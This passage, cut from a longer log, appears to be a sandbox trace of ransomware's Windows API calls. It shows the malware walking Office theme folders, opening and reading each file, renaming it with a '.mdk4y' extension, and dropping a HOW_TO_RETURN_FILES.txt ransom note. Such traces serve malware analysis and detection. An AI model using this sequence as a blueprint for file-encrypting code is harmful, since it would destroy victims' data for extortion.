returned 1 [0116.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819212500000) returned 1 [0116.895] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.mdk4y")) returned 1 [0116.896] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.896] AreFileApisANSI () returned 1 [0116.896] GetACP () returned 0x4e4 [0116.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLUEPRNT.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BLUEPRNT.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0116.896] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819212700000) returned 1 [0116.897] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x225, lpOverlapped=0x0) returned 1 [0116.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819212800000) returned 1 [0116.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819212800000) returned 1 [0116.898] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.mdk4y")) returned 1 [0116.899] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.899] AreFileApisANSI () returned 1 [0116.899] GetACP () returned 0x4e4 [0116.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0116.899] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819213000000) returned 1 [0116.900] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x785, lpOverlapped=0x0) returned 1 [0116.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819217100000) returned 1 [0116.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819217100000) returned 1 [0116.941] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.mdk4y")) returned 1 [0116.942] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.942] AreFileApisANSI () returned 1 [0116.942] GetACP () returned 0x4e4 [0116.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0116.942] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819236000000) returned 1 [0117.130] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b0f, lpOverlapped=0x0) returned 1 [0117.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819238400000) returned 1 [0117.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819238400000) returned 1 [0117.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.mdk4y")) returned 1 [0117.155] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0117.155] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0117.155] AreFileApisANSI () returned 1 [0117.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0117.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0117.156] GetFileType (hFile=0x130) returned 0x1 [0117.157] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0117.157] AreFileApisANSI () returned 1 [0117.157] GetACP () returned 0x4e4 [0117.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOLDSTRI", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BOLDSTRI", lpUsedDefaultChar=0x37df4c) returned 8 [0117.157] AreFileApisANSI () returned 1 [0117.157] GetACP () returned 0x4e4 [0117.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\") returned 65 [0117.160] AreFileApisANSI () returned 1 [0117.160] GetACP () returned 0x4e4 [0117.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0117.160] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.160] AreFileApisANSI () returned 1 [0117.160] GetACP () returned 0x4e4 [0117.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0117.160] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.160] AreFileApisANSI () returned 1 [0117.160] GetACP () returned 0x4e4 [0117.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOLDSTRI.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BOLDSTRI.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0117.160] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819239000000) returned 1 [0117.160] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xeafa, lpOverlapped=0x0) returned 1 [0117.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819239200000) returned 1 [0117.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819239200000) returned 1 [0117.163] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.mdk4y")) returned 1 [0117.163] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.164] AreFileApisANSI () returned 1 [0117.164] GetACP () returned 0x4e4 [0117.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOLDSTRI.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BOLDSTRI.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0117.164] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819239400000) returned 1 [0117.164] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x254, lpOverlapped=0x0) returned 1 [0117.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819239500000) returned 1 [0117.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819239500000) returned 1 [0117.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.mdk4y")) returned 1 [0117.224] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.224] AreFileApisANSI () returned 1 [0117.224] GetACP () returned 0x4e4 [0117.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0117.224] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819245400000) returned 1 [0117.224] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd97, lpOverlapped=0x0) returned 1 [0117.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819250900000) returned 1 [0117.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819250900000) returned 1 [0117.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.mdk4y")) returned 1 [0117.280] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.280] AreFileApisANSI () returned 1 [0117.280] GetACP () returned 0x4e4 [0117.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0117.280] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819251100000) returned 1 [0117.282] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7c5d, lpOverlapped=0x0) returned 1 [0117.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819252400000) returned 1 [0117.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819252400000) returned 1 [0117.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.mdk4y")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0117.295] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0117.295] AreFileApisANSI () returned 1 [0117.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0117.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0117.296] GetFileType (hFile=0x130) returned 0x1 [0117.297] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0117.297] AreFileApisANSI () returned 1 [0117.297] GetACP () returned 0x4e4 [0117.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BREEZE", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BREEZERI", lpUsedDefaultChar=0x37df4c) returned 6 [0117.297] AreFileApisANSI () returned 1 [0117.297] GetACP () returned 0x4e4 [0117.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\(ş") returned 63 [0117.297] AreFileApisANSI () returned 1 [0117.298] GetACP () returned 0x4e4 [0117.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0117.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.298] AreFileApisANSI () returned 1 [0117.298] GetACP () returned 0x4e4 [0117.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0117.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.298] AreFileApisANSI () returned 1 [0117.298] GetACP () returned 0x4e4 [0117.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BREEZE.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BREEZE.ELMtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 10 [0117.298] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819252800000) returned 1 [0117.298] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a537, lpOverlapped=0x0) returned 1 [0117.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819256800000) returned 1 [0117.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819256800000) returned 1 [0117.340] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.mdk4y")) returned 1 [0117.340] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.340] AreFileApisANSI () returned 1 [0117.340] GetACP () returned 0x4e4 [0117.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BREEZE.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BREEZE.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0117.340] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819267200000) returned 1 [0117.442] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1c2, lpOverlapped=0x0) returned 1 [0117.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819267300000) returned 1 [0117.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819267300000) returned 1 [0117.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.mdk4y")) returned 1 [0117.444] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.444] AreFileApisANSI () returned 1 [0117.444] GetACP () returned 0x4e4 [0117.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0117.444] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819272500000) returned 1 [0117.495] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaa2, lpOverlapped=0x0) returned 1 [0117.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819279600000) returned 1 [0117.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819279600000) returned 1 [0117.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.mdk4y")) returned 1 [0117.581] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 